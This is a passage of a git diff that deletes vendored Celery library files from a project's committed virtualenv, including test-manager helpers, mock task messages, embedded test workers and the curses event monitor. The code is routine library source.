-humanize_seconds = partial(_humanize_seconds, microseconds=True) - - -class Sentinel(Exception): - """Signifies the end of something.""" - - -class ManagerMixin: - """Mixin that adds :class:`Manager` capabilities.""" - - def _init_manager(self, - block_timeout=30 * 60.0, no_join=False, - stdout=None, stderr=None): - # type: (float, bool, TextIO, TextIO) -> None - self.stdout = sys.stdout if stdout is None else stdout - self.stderr = sys.stderr if stderr is None else stderr - self.connerrors = self.app.connection().recoverable_connection_errors - self.block_timeout = block_timeout - self.no_join = no_join - - def remark(self, s, sep='-'): - # type: (str, str) -> None - print(f'{sep}{s}', file=self.stdout) - - def missing_results(self, r): - # type: (Sequence[AsyncResult]) -> Sequence[str] - return [res.id for res in r if res.id not in res.backend._cache] - - def wait_for( - self, - fun, # type: Callable - catch, # type: Sequence[Any] - desc="thing", # type: str - args=(), # type: Tuple - kwargs=None, # type: Dict - errback=None, # type: Callable - max_retries=10, # type: int - interval_start=0.1, # type: float - interval_step=0.5, # type: float - interval_max=5.0, # type: float - emit_warning=False, # type: bool - **options # type: Any - ): - # type: (...) -> Any - """Wait for event to happen. - - The `catch` argument specifies the exception that means the event - has not happened yet. - """ - kwargs = {} if not kwargs else kwargs - - def on_error(exc, intervals, retries): - interval = next(intervals) - if emit_warning: - self.warn(E_STILL_WAITING.format( - desc, when=humanize_seconds(interval, 'in', ' '), exc=exc, - )) - if errback: - errback(exc, interval, retries) - return interval - - return self.retry_over_time( - fun, catch, - args=args, kwargs=kwargs, - errback=on_error, max_retries=max_retries, - interval_start=interval_start, interval_step=interval_step, - **options - ) - - def ensure_not_for_a_while(self, fun, catch, - desc='thing', max_retries=20, - interval_start=0.1, interval_step=0.02, - interval_max=1.0, emit_warning=False, - **options): - """Make sure something does not happen (at least for a while).""" - try: - return self.wait_for( - fun, catch, desc=desc, max_retries=max_retries, - interval_start=interval_start, interval_step=interval_step, - interval_max=interval_max, emit_warning=emit_warning, - ) - except catch: - pass - else: - raise AssertionError(f'Should not have happened: {desc}') - - def retry_over_time(self, *args, **kwargs): - return retry_over_time(*args, **kwargs) - - def join(self, r, propagate=False, max_retries=10, **kwargs): - if self.no_join: - return - if not isinstance(r, ResultSet): - r = self.app.ResultSet([r]) - received = [] - - def on_result(task_id, value): - received.append(task_id) - - for i in range(max_retries) if max_retries else count(0): - received[:] = [] - try: - return r.get(callback=on_result, propagate=propagate, **kwargs) - except (socket.timeout, TimeoutError) as exc: - waiting_for = self.missing_results(r) - self.remark( - 'Still waiting for {}/{}: [{}]: {!r}'.format( - len(r) - len(received), len(r), - truncate(', '.join(waiting_for)), exc), '!', - ) - except self.connerrors as exc: - self.remark(f'join: connection lost: {exc!r}', '!') - raise AssertionError('Test failed: Missing task results') - - def inspect(self, timeout=3.0): - return self.app.control.inspect(timeout=timeout) - - def query_tasks(self, ids, timeout=0.5): - tasks = self.inspect(timeout).query_task(*ids) or {} - yield from tasks.items() - - def query_task_states(self, ids, timeout=0.5): - states = defaultdict(set) - for hostname, reply in self.query_tasks(ids, timeout=timeout): - for task_id, (state, _) in reply.items(): - states[state].add(task_id) - return states - - def assert_accepted(self, ids, interval=0.5, - desc='waiting for tasks to be accepted', **policy): - return self.assert_task_worker_state( - self.is_accepted, ids, interval=interval, desc=desc, **policy - ) - - def assert_received(self, ids, interval=0.5, - desc='waiting for tasks to be received', **policy): - return self.assert_task_worker_state( - self.is_received, ids, interval=interval, desc=desc, **policy - ) - - def assert_result_tasks_in_progress_or_completed( - self, - async_results, - interval=0.5, - desc='waiting for tasks to be started or completed', - **policy - ): - return self.assert_task_state_from_result( - self.is_result_task_in_progress, - async_results, - interval=interval, desc=desc, **policy - ) - - def assert_task_state_from_result(self, fun, results, - interval=0.5, **policy): - return self.wait_for( - partial(self.true_or_raise, fun, results, timeout=interval), - (Sentinel,), **policy - ) - - @staticmethod - def is_result_task_in_progress(results, **kwargs): - possible_states = (states.STARTED, states.SUCCESS) - return all(result.state in possible_states for result in results) - - def assert_task_worker_state(self, fun, ids, interval=0.5, **policy): - return self.wait_for( - partial(self.true_or_raise, fun, ids, timeout=interval), - (Sentinel,), **policy - ) - - def is_received(self, ids, **kwargs): - return self._ids_matches_state( - ['reserved', 'active', 'ready'], ids, **kwargs) - - def is_accepted(self, ids, **kwargs): - return self._ids_matches_state(['active', 'ready'], ids, **kwargs) - - def _ids_matches_state(self, expected_states, ids, timeout=0.5): - states = self.query_task_states(ids, timeout=timeout) - return all( - any(t in s for s in [states[k] for k in expected_states]) - for t in ids - ) - - def true_or_raise(self, fun, *args, **kwargs): - res = fun(*args, **kwargs) - if not res: - raise Sentinel() - return res - - def wait_until_idle(self): - control = self.app.control - with self.app.connection() as connection: - # Try to purge the queue before we start - # to attempt to avoid interference from other tests - while True: - count = control.purge(connection=connection) - if count == 0: - break - - # Wait until worker is idle - inspect = control.inspect() - inspect.connection = connection - while True: - try: - count = sum(len(t) for t in inspect.active().values()) - except ContentDisallowed: - # test_security_task_done may trigger this exception - break - if count == 0: - break - - -class Manager(ManagerMixin): - """Test helpers for task integration tests.""" - - def __init__(self, app, **kwargs): - self.app = app - self._init_manager(**kwargs) diff --git a/backend/venv/Lib/site-packages/celery/contrib/testing/mocks.py b/backend/venv/Lib/site-packages/celery/contrib/testing/mocks.py deleted file mode 100644 index 4ec79145..00000000 --- a/backend/venv/Lib/site-packages/celery/contrib/testing/mocks.py +++ /dev/null @@ -1,137 +0,0 @@ -"""Useful mocks for unit testing.""" -import numbers -from datetime import datetime, timedelta -from typing import Any, Mapping, Sequence # noqa -from unittest.mock import Mock - -from celery import Celery # noqa -from celery.canvas import Signature # noqa - - -def TaskMessage( - name, # type: str - id=None, # type: str - args=(), # type: Sequence - kwargs=None, # type: Mapping - callbacks=None, # type: Sequence[Signature] - errbacks=None, # type: Sequence[Signature] - chain=None, # type: Sequence[Signature] - shadow=None, # type: str - utc=None, # type: bool - **options # type: Any -): - # type: (...) -> Any - """Create task message in protocol 2 format.""" - kwargs = {} if not kwargs else kwargs - from kombu.serialization import dumps - - from celery import uuid - id = id or uuid() - message = Mock(name=f'TaskMessage-{id}') - message.headers = { - 'id': id, - 'task': name, - 'shadow': shadow, - } - embed = {'callbacks': callbacks, 'errbacks': errbacks, 'chain': chain} - message.headers.update(options) - message.content_type, message.content_encoding, message.body = dumps( - (args, kwargs, embed), serializer='json', - ) - message.payload = (args, kwargs, embed) - return message - - -def TaskMessage1( - name, # type: str - id=None, # type: str - args=(), # type: Sequence - kwargs=None, # type: Mapping - callbacks=None, # type: Sequence[Signature] - errbacks=None, # type: Sequence[Signature] - chain=None, # type: Sequence[Signature] - **options # type: Any -): - # type: (...) -> Any - """Create task message in protocol 1 format.""" - kwargs = {} if not kwargs else kwargs - from kombu.serialization import dumps - - from celery import uuid - id = id or uuid() - message = Mock(name=f'TaskMessage-{id}') - message.headers = {} - message.payload = { - 'task': name, - 'id': id, - 'args': args, - 'kwargs': kwargs, - 'callbacks': callbacks, - 'errbacks': errbacks, - } - message.payload.update(options) - message.content_type, message.content_encoding, message.body = dumps( - message.payload, - ) - return message - - -def task_message_from_sig(app, sig, utc=True, TaskMessage=TaskMessage): - # type: (Celery, Signature, bool, Any) -> Any - """Create task message from :class:`celery.Signature`. - - Example: - >>> m = task_message_from_sig(app, add.s(2, 2)) - >>> amqp_client.basic_publish(m, exchange='ex', routing_key='rkey') - """ - sig.freeze() - callbacks = sig.options.pop('link', None) - errbacks = sig.options.pop('link_error', None) - countdown = sig.options.pop('countdown', None) - if countdown: - eta = app.now() + timedelta(seconds=countdown) - else: - eta = sig.options.pop('eta', None) - if eta and isinstance(eta, datetime): - eta = eta.isoformat() - expires = sig.options.pop('expires', None) - if expires and isinstance(expires, numbers.Real): - expires = app.now() + timedelta(seconds=expires) - if expires and isinstance(expires, datetime): - expires = expires.isoformat() - return TaskMessage( - sig.task, id=sig.id, args=sig.args, - kwargs=sig.kwargs, - callbacks=[dict(s) for s in callbacks] if callbacks else None, - errbacks=[dict(s) for s in errbacks] if errbacks else None, - eta=eta, - expires=expires, - utc=utc, - **sig.options - ) - - -class _ContextMock(Mock): - """Dummy class implementing __enter__ and __exit__. - - The :keyword:`with` statement requires these to be implemented - in the class, not just the instance. - """ - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - pass - - -def ContextMock(*args, **kwargs): - """Mock that mocks :keyword:`with` statement contexts.""" - obj = _ContextMock(*args, **kwargs) - obj.attach_mock(_ContextMock(), '__enter__') - obj.attach_mock(_ContextMock(), '__exit__') - obj.__enter__.return_value = obj - # if __exit__ return a value the exception is ignored, - # so it must return None here. - obj.__exit__.return_value = None - return obj diff --git a/backend/venv/Lib/site-packages/celery/contrib/testing/tasks.py b/backend/venv/Lib/site-packages/celery/contrib/testing/tasks.py deleted file mode 100644 index a372a20f..00000000 --- a/backend/venv/Lib/site-packages/celery/contrib/testing/tasks.py +++ /dev/null @@ -1,9 +0,0 @@ -"""Helper tasks for integration tests.""" -from celery import shared_task - - -@shared_task(name='celery.ping') -def ping(): - # type: () -> str - """Simple task that just returns 'pong'.""" - return 'pong' diff --git a/backend/venv/Lib/site-packages/celery/contrib/testing/worker.py b/backend/venv/Lib/site-packages/celery/contrib/testing/worker.py deleted file mode 100644 index 46eac75f..00000000 --- a/backend/venv/Lib/site-packages/celery/contrib/testing/worker.py +++ /dev/null @@ -1,223 +0,0 @@ -"""Embedded workers for integration tests.""" -import logging -import os -import threading -from contextlib import contextmanager -from typing import Any, Iterable, Optional, Union - -import celery.worker.consumer # noqa -from celery import Celery, worker -from celery.result import _set_task_join_will_block, allow_join_result -from celery.utils.dispatch import Signal -from celery.utils.nodenames import anon_nodename - -WORKER_LOGLEVEL = os.environ.get('WORKER_LOGLEVEL', 'error') - -test_worker_starting = Signal( - name='test_worker_starting', - providing_args={}, -) -test_worker_started = Signal( - name='test_worker_started', - providing_args={'worker', 'consumer'}, -) -test_worker_stopped = Signal( - name='test_worker_stopped', - providing_args={'worker'}, -) - - -class TestWorkController(worker.WorkController): - """Worker that can synchronize on being fully started.""" - - # When this class is imported in pytest files, prevent pytest from thinking - # this is a test class - __test__ = False - - logger_queue = None - - def __init__(self, *args, **kwargs): - # type: (*Any, **Any) -> None - self._on_started = threading.Event() - - super().__init__(*args, **kwargs) - - if self.pool_cls.__module__.split('.')[-1] == 'prefork': - from billiard import Queue - self.logger_queue = Queue() - self.pid = os.getpid() - - try: - from tblib import pickling_support - pickling_support.install() - except ImportError: - pass - - # collect logs from forked process. - # XXX: those logs will appear twice in the live log - self.queue_listener = logging.handlers.QueueListener(self.logger_queue, logging.getLogger()) - self.queue_listener.start() - - class QueueHandler(logging.handlers.QueueHandler): - def prepare(self, record): - record.from_queue = True - # Keep origin record. - return record - - def handleError(self, record): - if logging.raiseExceptions: - raise - - def start(self): - if self.logger_queue: - handler = self.QueueHandler(self.logger_queue) - handler.addFilter(lambda r: r.process != self.pid and not getattr(r, 'from_queue', False)) - logger = logging.getLogger() - logger.addHandler(handler) - return super().start() - - def on_consumer_ready(self, consumer): - # type: (celery.worker.consumer.Consumer) -> None - """Callback called when the Consumer blueprint is fully started.""" - self._on_started.set() - test_worker_started.send( - sender=self.app, worker=self, consumer=consumer) - - def ensure_started(self): - # type: () -> None - """Wait for worker to be fully up and running. - - Warning: - Worker must be started within a thread for this to work, - or it will block forever. - """ - self._on_started.wait() - - -@contextmanager -def start_worker( - app, # type: Celery - concurrency=1, # type: int - pool='solo', # type: str - loglevel=WORKER_LOGLEVEL, # type: Union[str, int] - logfile=None, # type: str - perform_ping_check=True, # type: bool - ping_task_timeout=10.0, # type: float - shutdown_timeout=10.0, # type: float - **kwargs # type: Any -): - # type: (...) -> Iterable - """Start embedded worker. - - Yields: - celery.app.worker.Worker: worker instance. - """ - test_worker_starting.send(sender=app) - - worker = None - try: - with _start_worker_thread(app, - concurrency=concurrency, - pool=pool, - loglevel=loglevel, - logfile=logfile, - perform_ping_check=perform_ping_check, - shutdown_timeout=shutdown_timeout, - **kwargs) as worker: - if perform_ping_check: - from .tasks import ping - with allow_join_result(): - assert ping.delay().get(timeout=ping_task_timeout) == 'pong' - - yield worker - finally: - test_worker_stopped.send(sender=app, worker=worker) - - -@contextmanager -def _start_worker_thread(app: Celery, - concurrency: int = 1, - pool: str = 'solo', - loglevel: Union[str, int] = WORKER_LOGLEVEL, - logfile: Optional[str] = None, - WorkController: Any = TestWorkController, - perform_ping_check: bool = True, - shutdown_timeout: float = 10.0, - **kwargs) -> Iterable[worker.WorkController]: - """Start Celery worker in a thread. - - Yields: - celery.worker.Worker: worker instance. - """ - setup_app_for_worker(app, loglevel, logfile) - if perform_ping_check: - assert 'celery.ping' in app.tasks - # Make sure we can connect to the broker - with app.connection(hostname=os.environ.get('TEST_BROKER')) as conn: - conn.default_channel.queue_declare - - worker = WorkController( - app=app, - concurrency=concurrency, - hostname=kwargs.pop("hostname", anon_nodename()), - pool=pool, - loglevel=loglevel, - logfile=logfile, - # not allowed to override TestWorkController.on_consumer_ready - ready_callback=None, - without_heartbeat=kwargs.pop("without_heartbeat", True), - without_mingle=True, - without_gossip=True, - **kwargs) - - t = threading.Thread(target=worker.start, daemon=True) - t.start() - worker.ensure_started() - _set_task_join_will_block(False) - - try: - yield worker - finally: - from celery.worker import state - state.should_terminate = 0 - t.join(shutdown_timeout) - if t.is_alive(): - raise RuntimeError( - "Worker thread failed to exit within the allocated timeout. " - "Consider raising `shutdown_timeout` if your tasks take longer " - "to execute." - ) - state.should_terminate = None - - -@contextmanager -def _start_worker_process(app, - concurrency=1, - pool='solo', - loglevel=WORKER_LOGLEVEL, - logfile=None, - **kwargs): - # type (Celery, int, str, Union[int, str], str, **Any) -> Iterable - """Start worker in separate process. - - Yields: - celery.app.worker.Worker: worker instance. - """ - from celery.apps.multi import Cluster, Node - - app.set_current() - cluster = Cluster([Node('testworker1@%h')]) - cluster.start() - try: - yield - finally: - cluster.stopwait() - - -def setup_app_for_worker(app: Celery, loglevel: Union[str, int], logfile: str) -> None: - """Setup the app to be used for starting an embedded worker.""" - app.finalize() - app.set_current() - app.set_default() - type(app.log)._setup = False - app.log.setup(loglevel=loglevel, logfile=logfile) diff --git a/backend/venv/Lib/site-packages/celery/events/__init__.py b/backend/venv/Lib/site-packages/celery/events/__init__.py deleted file mode 100644 index 8e509fb7..00000000 --- a/backend/venv/Lib/site-packages/celery/events/__init__.py +++ /dev/null @@ -1,15 +0,0 @@ -"""Monitoring Event Receiver+Dispatcher. - -Events is a stream of messages sent for certain actions occurring -in the worker (and clients if :setting:`task_send_sent_event` -is enabled), used for monitoring purposes. -""" - -from .dispatcher import EventDispatcher -from .event import Event, event_exchange, get_exchange, group_from -from .receiver import EventReceiver - -__all__ = ( - 'Event', 'EventDispatcher', 'EventReceiver', - 'event_exchange', 'get_exchange', 'group_from', -) diff --git a/backend/venv/Lib/site-packages/celery/events/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/events/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 89e10585..00000000 Binary files a/backend/venv/Lib/site-packages/celery/events/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/events/__pycache__/cursesmon.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/events/__pycache__/cursesmon.cpython-311.pyc deleted file mode 100644 index 72ee1d80..00000000 Binary files a/backend/venv/Lib/site-packages/celery/events/__pycache__/cursesmon.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/events/__pycache__/dispatcher.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/events/__pycache__/dispatcher.cpython-311.pyc deleted file mode 100644 index 4ede7f05..00000000 Binary files a/backend/venv/Lib/site-packages/celery/events/__pycache__/dispatcher.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/events/__pycache__/dumper.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/events/__pycache__/dumper.cpython-311.pyc deleted file mode 100644 index 24997969..00000000 Binary files a/backend/venv/Lib/site-packages/celery/events/__pycache__/dumper.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/events/__pycache__/event.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/events/__pycache__/event.cpython-311.pyc deleted file mode 100644 index 98fad126..00000000 Binary files a/backend/venv/Lib/site-packages/celery/events/__pycache__/event.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/events/__pycache__/receiver.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/events/__pycache__/receiver.cpython-311.pyc deleted file mode 100644 index 3be1eaf8..00000000 Binary files a/backend/venv/Lib/site-packages/celery/events/__pycache__/receiver.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/events/__pycache__/snapshot.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/events/__pycache__/snapshot.cpython-311.pyc deleted file mode 100644 index 7687d1d4..00000000 Binary files a/backend/venv/Lib/site-packages/celery/events/__pycache__/snapshot.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/events/__pycache__/state.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/events/__pycache__/state.cpython-311.pyc deleted file mode 100644 index 7a25d267..00000000 Binary files a/backend/venv/Lib/site-packages/celery/events/__pycache__/state.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/events/cursesmon.py b/backend/venv/Lib/site-packages/celery/events/cursesmon.py deleted file mode 100644 index cff26bef..00000000 --- a/backend/venv/Lib/site-packages/celery/events/cursesmon.py +++ /dev/null @@ -1,534 +0,0 @@ -"""Graphical monitor of Celery events using curses.""" - -import curses -import sys -import threading -from datetime import datetime -from itertools import count -from math import ceil -from textwrap import wrap -from time import time - -from celery import VERSION_BANNER, states -from celery.app import app_or_default -from celery.utils.text import abbr, abbrtask - -__all__ = ('CursesMonitor', 'evtop') - -BORDER_SPACING = 4 -LEFT_BORDER_OFFSET = 3 -UUID_WIDTH = 36 -STATE_WIDTH = 8 -TIMESTAMP_WIDTH = 8 -MIN_WORKER_WIDTH = 15 -MIN_TASK_WIDTH = 16 - -# this module is considered experimental -# we don't care about coverage. - -STATUS_SCREEN = """\ -events: {s.event_count} tasks:{s.task_count} workers:{w_alive}/{w_all} -""" - - -class CursesMonitor: # pragma: no cover - """A curses based Celery task monitor.""" - - keymap = {} - win = None - screen_delay = 10 - selected_task = None - selected_position = 0 - selected_str = 'Selected: ' - foreground = curses.COLOR_BLACK - background = curses.COLOR_WHITE - online_str = 'Workers online: ' - help_title = 'Keys: ' - help = ('j:down k:up i:info t:traceback r:result c:revoke ^c: quit') - greet = f'celery events {VERSION_BANNER}' - info_str = 'Info: ' - - def __init__(self, state, app, keymap=None): - self.app = app - self.keymap = keymap or self.keymap - self.state = state - default_keymap = { - 'J': self.move_selection_down, - 'K': self.move_selection_up, - 'C': self.revoke_selection, - 'T': self.selection_traceback, - 'R': self.selection_result, - 'I': self.selection_info, - 'L': self.selection_rate_limit, - } - self.keymap = dict(default_keymap, **self.keymap) - self.lock = threading.RLock() - - def format_row(self, uuid, task, worker, timestamp, state): - mx = self.display_width - - # include spacing - detail_width = mx - 1 - STATE_WIDTH - 1 - TIMESTAMP_WIDTH - uuid_space = detail_width - 1 - MIN_TASK_WIDTH - 1 - MIN_WORKER_WIDTH - - if uuid_space < UUID_WIDTH: - uuid_width = uuid_space - else: - uuid_width = UUID_WIDTH - - detail_width = detail_width - uuid_width - 1 - task_width = int(ceil(detail_width / 2.0)) - worker_width = detail_width - task_width - 1 - - uuid = abbr(uuid, uuid_width).ljust(uuid_width) - worker = abbr(worker, worker_width).ljust(worker_width) - task = abbrtask(task, task_width).ljust(task_width) - state = abbr(state, STATE_WIDTH).ljust(STATE_WIDTH) - timestamp = timestamp.ljust(TIMESTAMP_WIDTH) - - row = f'{uuid} {worker} {task} {timestamp} {state} ' - if self.screen_width is None: - self.screen_width = len(row[:mx]) - return row[:mx] - - @property - def screen_width(self): - _, mx = self.win.getmaxyx() - return mx - - @property - def screen_height(self): - my, _ = self.win.getmaxyx() - return my - - @property - def display_width(self): - _, mx = self.win.getmaxyx() - return mx - BORDER_SPACING - - @property - def display_height(self): - my, _ = self.win.getmaxyx() - return my - 10 - - @property - def limit(self): - return self.display_height - - def find_position(self): - if not self.tasks: - return 0 - for i, e in enumerate(self.tasks): - if self.selected_task == e[0]: - return i - return 0 - - def move_selection_up(self): - self.move_selection(-1) - - def move_selection_down(self): - self.move_selection(1) - - def move_selection(self, direction=1): - if not self.tasks: - return - pos = self.find_position() - try: - self.selected_task = self.tasks[pos + direction][0] - except IndexError: - self.selected_task = self.tasks[0][0] - - keyalias = {curses.KEY_DOWN: 'J', - curses.KEY_UP: 'K', - curses.KEY_ENTER: 'I'} - - def handle_keypress(self): - try: - key = self.win.getkey().upper() - except Exception: # pylint: disable=broad-except - return - key = self.keyalias.get(key) or key - handler = self.keymap.get(key) - if handler is not None: - handler() - - def alert(self, callback, title=None): - self.win.erase() - my, mx = self.win.getmaxyx() - y = blank_line = count(2) - if title: - self.win.addstr(next(y), 3, title, - curses.A_BOLD | curses.A_UNDERLINE) - next(blank_line) - callback(my, mx, next(y)) - self.win.addstr(my - 1, 0, 'Press any key to continue...', - curses.A_BOLD) - self.win.refresh() - while 1: - try: - return self.win.getkey().upper() - except Exception: # pylint: disable=broad-except - pass - - def selection_rate_limit(self): - if not self.selected_task: - return curses.beep() - task = self.state.tasks[self.selected_task] - if not task.name: - return curses.beep() - - my, mx = self.win.getmaxyx() - r = 'New rate limit: ' - self.win.addstr(my - 2, 3, r, curses.A_BOLD | curses.A_UNDERLINE) - self.win.addstr(my - 2, len(r) + 3, ' ' * (mx - len(r))) - rlimit = self.readline(my - 2, 3 + len(r)) - - if rlimit: - reply = self.app.control.rate_limit(task.name, - rlimit.strip(), reply=True) - self.alert_remote_control_reply(reply) - - def alert_remote_control_reply(self, reply): - - def callback(my, mx, xs): - y = count(xs) - if not reply: - self.win.addstr( - next(y), 3, 'No replies received in 1s deadline.', - curses.A_BOLD + curses.color_pair(2), - ) - return - - for subreply in reply: - curline = next(y) - - host, response = next(subreply.items()) - host = f'{host}: ' - self.win.addstr(curline, 3, host, curses.A_BOLD) - attr = curses.A_NORMAL - text = '' - if 'error' in response: - text = response['error'] - attr |= curses.color_pair(2) - elif 'ok' in response: - text = response['ok'] - attr |= curses.color_pair(3) - self.win.addstr(curline, 3 + len(host), text, attr) - - return self.alert(callback, 'Remote Control Command Replies') - - def readline(self, x, y): - buffer = '' - curses.echo() - try: - i = 0 - while 1: - ch = self.win.getch(x, y + i) - if ch != -1: - if ch in (10, curses.KEY_ENTER): # enter - break - if ch in (27,): - buffer = '' - break - buffer += chr(ch) - i += 1 - finally: - curses.noecho() - return buffer - - def revoke_selection(self): - if not self.selected_task: - return curses.beep() - reply = self.app.control.revoke(self.selected_task, reply=True) - self.alert_remote_control_reply(reply) - - def selection_info(self): - if not self.selected_task: - return - - def alert_callback(mx, my, xs): - my, mx = self.win.getmaxyx() - y = count(xs) - task = self.state.tasks[self.selected_task] - info = task.info(extra=['state']) - infoitems = [ - ('args', info.pop('args', None)), - ('kwargs', info.pop('kwargs', None)) - ] + list(info.items()) - for key, value in infoitems: - if key is None: - continue - value = str(value) - curline = next(y) - keys = key + ': ' - self.win.addstr(curline, 3, keys, curses.A_BOLD) - wrapped = wrap(value, mx - 2) - if len(wrapped) == 1: - self.win.addstr( - curline, len(keys) + 3, - abbr(wrapped[0], - self.screen_width - (len(keys) + 3))) - else: - for subline in wrapped: - nexty = next(y) - if nexty >= my - 1: - subline = ' ' * 4 + '[...]' - self.win.addstr( - nexty, 3, - abbr(' ' * 4 + subline, self.screen_width - 4), - curses.A_NORMAL, - ) - - return self.alert( - alert_callback, f'Task details for {self.selected_task}', - ) - - def selection_traceback(self): - if not self.selected_task: - return curses.beep() - task = self.state.tasks[self.selected_task] - if task.state not in states.EXCEPTION_STATES: - return curses.beep() - - def alert_callback(my, mx, xs): - y = count(xs) - for line in task.traceback.split('\n'): - self.win.addstr(next(y), 3, line) - - return self.alert( - alert_callback, - f'Task Exception Traceback for {self.selected_task}', - ) - - def selection_result(self): - if not self.selected_task: - return - - def alert_callback(my, mx, xs): - y = count(xs) - task = self.state.tasks[self.selected_task] - result = (getattr(task, 'result', None) or - getattr(task, 'exception', None)) - for line in wrap(result or '', mx - 2): - self.win.addstr(next(y), 3, line) - - return self.alert( - alert_callback, - f'Task Result for {self.selected_task}', - ) - - def display_task_row(self, lineno, task): - state_color = self.state_colors.get(task.state) - attr = curses.A_NORMAL - if task.uuid == self.selected_task: - attr = curses.A_STANDOUT - timestamp = datetime.utcfromtimestamp( - task.timestamp or time(), - ) - timef = timestamp.strftime('%H:%M:%S') - hostname = task.worker.hostname if task.worker else '*NONE*' - line = self.format_row(task.uuid, task.name, - hostname, - timef, task.state) - self.win.addstr(lineno, LEFT_BORDER_OFFSET, line, attr) - - if state_color: - self.win.addstr(lineno, - len(line) - STATE_WIDTH + BORDER_SPACING - 1, - task.state, state_color | attr) - - def draw(self): - with self.lock: - win = self.win - self.handle_keypress() - x = LEFT_BORDER_OFFSET - y = blank_line = count(2) - my, _ = win.getmaxyx() - win.erase() - win.bkgd(' ', curses.color_pair(1)) - win.border() - win.addstr(1, x, self.greet, curses.A_DIM | curses.color_pair(5)) - next(blank_line) - win.addstr(next(y), x, self.format_row('UUID', 'TASK', - 'WORKER', 'TIME', 'STATE'), - curses.A_BOLD | curses.A_UNDERLINE) - tasks = self.tasks - if tasks: - for row, (_, task) in enumerate(tasks): - if row > self.display_height: - break - - if task.uuid: - lineno = next(y) - self.display_task_row(lineno, task) - - # -- Footer - next(blank_line) - win.hline(my - 6, x, curses.ACS_HLINE, self.screen_width - 4) - - # Selected Task Info - if self.selected_task: - win.addstr(my - 5, x, self.selected_str, curses.A_BOLD) - info = 'Missing extended info' - detail = '' - try: - selection = self.state.tasks[self.selected_task] - except KeyError: - pass - else: - info = selection.info() - if 'runtime' in info: - info['runtime'] = '{:.2f}'.format(info['runtime']) - if 'result' in info: - info['result'] = abbr(info['result'], 16) - info = ' '.join( - f'{key}={value}' - for key, value in info.items() - ) - detail = '... -> key i' - infowin = abbr(info, - self.screen_width - len(self.selected_str) - 2, - detail) - win.addstr(my - 5, x + len(self.selected_str), infowin) - # Make ellipsis bold - if detail in infowin: - detailpos = len(infowin) - len(detail) - win.addstr(my - 5, x + len(self.selected_str) + detailpos, - detail, curses.A_BOLD) - else: - win.addstr(my - 5, x, 'No task selected', curses.A_NORMAL) - - # Workers - if self.workers: - win.addstr(my - 4, x, self.online_str, curses.A_BOLD) - win.addstr(my - 4, x + len(self.online_str), - ', '.join(sorted(self.workers)), curses.A_NORMAL) - else: - win.addstr(my - 4, x, 'No workers discovered.') - - # Info - win.addstr(my - 3, x, self.info_str, curses.A_BOLD) - win.addstr( - my - 3, x + len(self.info_str), - STATUS_SCREEN.format( - s=self.state, - w_alive=len([w for w in self.state.workers.values() - if w.alive]), - w_all=len(self.state.workers), - ), - curses.A_DIM, - ) - - # Help - self.safe_add_str(my - 2, x, self.help_title, curses.A_BOLD) - self.safe_add_str(my - 2, x + len(self.help_title), self.help, - curses.A_DIM) - win.refresh() - - def safe_add_str(self, y, x, string, *args, **kwargs): - if x + len(string) > self.screen_width: - string = string[:self.screen_width - x] - self.win.addstr(y, x, string, *args, **kwargs) - - def init_screen(self): - with self.lock: - self.win = curses.initscr() - self.win.nodelay(True) - self.win.keypad(True) - curses.start_color() - curses.init_pair(1, self.foreground, self.background) - # exception states - curses.init_pair(2, curses.COLOR_RED, self.background) - # successful state - curses.init_pair(3, curses.COLOR_GREEN, self.background) - # revoked state - curses.init_pair(4, curses.COLOR_MAGENTA, self.background) - # greeting - curses.init_pair(5, curses.COLOR_BLUE, self.background) - # started state - curses.init_pair(6, curses.COLOR_YELLOW, self.foreground) - - self.state_colors = {states.SUCCESS: curses.color_pair(3), - states.REVOKED: curses.color_pair(4), - states.STARTED: curses.color_pair(6)} - for state in states.EXCEPTION_STATES: - self.state_colors[state] = curses.color_pair(2) - - curses.cbreak() - - def resetscreen(self): - with self.lock: - curses.nocbreak() - self.win.keypad(False) - curses.echo() - curses.endwin() - - def nap(self): - curses.napms(self.screen_delay) - - @property - def tasks(self): - return list(self.state.tasks_by_time(limit=self.limit)) - - @property - def workers(self): - return [hostname for hostname, w in self.state.workers.items() - if w.alive] - - -class DisplayThread(threading.Thread): # pragma: no cover - - def __init__(self, display): - self.display = display - self.shutdown = False - super().__init__() - - def run(self): - while not self.shutdown: - self.display.draw() - self.display.nap() - - -def capture_events(app, state, display): # pragma: no cover - - def on_connection_error(exc, interval): - print('Connection Error: {!r}. Retry in {}s.'.format( - exc, interval), file=sys.stderr) - - while 1: - print('-> evtop: starting capture...', file=sys.stderr) - with app.connection_for_read() as conn: - try: - conn.ensure_connection(on_connection_error, - app.conf.broker_connection_max_retries) - recv = app.events.Receiver(conn, handlers={'*': state.event}) - display.resetscreen() - display.init_screen() - recv.capture() - except conn.connection_errors + conn.channel_errors as exc: - print(f'Connection lost: {exc!r}', file=sys.stderr) - - -def evtop(app=None): # pragma: no cover - """Start curses monitor.""" - app = app_or_default(app) - state = app.events.State() - display = CursesMonitor(state, app) - display.init_screen() - refresher = DisplayThread(display) - refresher.start() - try: - capture_events(app, state, display) - except Exception: - refresher.shutdown = True - refresher.join() - display.resetscreen() - raise - except (KeyboardInterrupt, SystemExit): - refresher.shutdown = True - refresher.join() - display.resetscreen() - - -if __name__ == '__main__': # pragma: no cover - evtop() diff --git a/backend/venv/Lib/site-packages/celery/events/dispatcher.py 